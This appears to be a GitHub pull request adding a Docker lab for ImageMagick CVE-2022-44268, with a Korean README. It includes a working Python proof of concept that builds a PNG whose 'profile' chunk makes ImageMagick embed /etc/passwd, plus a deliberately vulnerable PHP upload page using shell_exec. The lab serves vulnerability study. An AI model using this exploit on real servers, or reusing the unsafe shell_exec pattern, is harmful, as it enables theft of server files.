Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[이형석/fluoworite]: imagemagick CVE-2022-44268 분석 및 결과 #182

Open
wants to merge 5 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added imagemagick/CVE-2022-44268/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added imagemagick/CVE-2022-44268/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added imagemagick/CVE-2022-44268/3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added imagemagick/CVE-2022-44268/4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 11 additions & 0 deletions imagemagick/CVE-2022-44268/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
FROM vulhub/imagemagick:7.1.0-49-php

RUN apt-get update && apt-get install -y \
php-cli \
php-mbstring

COPY index.php /var/www/html/index.php

EXPOSE 8080

CMD ["php", "-t", "/var/www/html", "-S", "0.0.0.0:8080"]
29 changes: 29 additions & 0 deletions imagemagick/CVE-2022-44268/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
# Makefile

IMAGE_NAME=imagemagick
CONTAINER_NAME=imagemagick_container
POC_PNG =poc.png
OUT_PNG =out.png

build:
docker build -t $(IMAGE_NAME) -f ./Dockerfile .

run:
docker run --name $(CONTAINER_NAME) -p 8080:8080 -d $(IMAGE_NAME)

#작업한 자료 모두 삭제
clean:
docker stop $(CONTAINER_NAME)
docker rm $(CONTAINER_NAME)
docker rmi $(IMAGE_NAME)
del $(POC_PNG)
del $(OUT_PNG)

#poc.py 실행
generate:
python poc.py generate -o poc.png -r /etc/passwd

#poc.py 실행 후 서버에 poc.png 파일을 업로드 하고
#업로드한 파일을 out.png로 다시 다운 받은 뒤 실행하면 etc/password 내용 추출
parse:
python poc.py parse -i out.png
59 changes: 59 additions & 0 deletions imagemagick/CVE-2022-44268/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
# ImageMagick Arbitrary File Disclosure (CVE-2022-44268)

## 개요
ImageMagick은 이미지를 표시, 생성, 변환, 수정 및 편집할 수 있는 자유 및 오픈 소스 크로스 플랫폼 소프트웨어 제품입니다.
ImageMagick의 7.1.0-51 이전 버전에서는 PNG 파일을 수정하여 서버의 임의 파일을 읽을 수 있는 취약점이 존재합니다.

References:
- <https://www.metabaseq.com/imagemagick-zero-days/>
- <https://github.com/ImageMagick/Website/blob/main/ChangeLog.md#710-52---2022-11-06>

## 취약점 환경

다음 명령을 차례대로 실행하여 ImageMagick을 사용하여 업로드한 이미지를 50x50 크기의 새로운 이미지로 변환하는 웹 서버를 시작합니다
```
make build
make run
```
서버가 시작되면 `http://localhost:8080`에 접속하면 파일 업로드 버튼을 확인할 수 있습니다.

![](1.png)

서버에서 제공하는 서비스는 다음 코드로 업로드된 이미지를 50x50 픽셀로 크기를 조정한 후
새로운 파일로 저장한다.

```php
$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");
```

## Exploit

Exploit하기 위해서는 chunk data와 정보를 얻고 싶은 파일 경로를 포함한 png 파일을 준비해야한다

다음 명령어를 사용하여 Exploit 하기 위한 png 파일을 얻을 수 있다.

```
make generate
```

> 위 명령어를 사용하기 위해서는 [PyPNG](https://pypng.readthedocs.io/en/latest/) 를 설치해야 한다
> (`pip install pypng`)

명령어를 실행하고 [HxD]를 사용하여 확인해보면, chunk 데이터를 포함하고 profile=/etc/passwd 의 경로를 가지고 있는 png 파일을 얻을 수 있다

![](2.png)

이 png 파일을 서버에 업로드 한 후에

![](3.png)

50x50 픽셀로 변경되어 나타난 이미지 파일을 out.png 로 저장한 후 아래 명령어를 실행시킬 수 있다

```
make parse
```

![](4.png)

/etc/passwd 의 파일 내용이 ImageMagick에 의해서 노출되는 것을 확인할 수 있다.
28 changes: 28 additions & 0 deletions imagemagick/CVE-2022-44268/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
<?php
$newname = '';
if (!empty($_FILES)) {
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");
}
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<br>
<?php
if ($newname):
?>
<h1>Your image:</h1>
<p>
<a href="./<?=$newname?>" target="_blank">
<img src="./<?=$newname?>" width="50" height="50">
</a>
</p>
<?php
endif;
82 changes: 82 additions & 0 deletions imagemagick/CVE-2022-44268/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()

#PNG 파일의 CHUNK DATA
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'

#out.png 파일을 읽고 png 파일에 있는 정보들을 출력
def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'\n', 1)
return binascii.unhexlify(data.replace(b'\n', b'')).decode()


# read에서 /etc/password를 포함시켜서 write와 함께 png 파일을 제작

def read(filename: str):
if not filename:
logging.error('you must specify a input filename')
return

res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'\x00', 1)
res = parse_data(d.decompress(data[1:]))

if res:
sys.stdout.write(res)
sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
if not to_filename:
logging.error('you must specify a output filename')
return

with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)

png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')

image_path = to_filename # 수정된 부분

def main():
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")


if __name__ == '__main__':
main()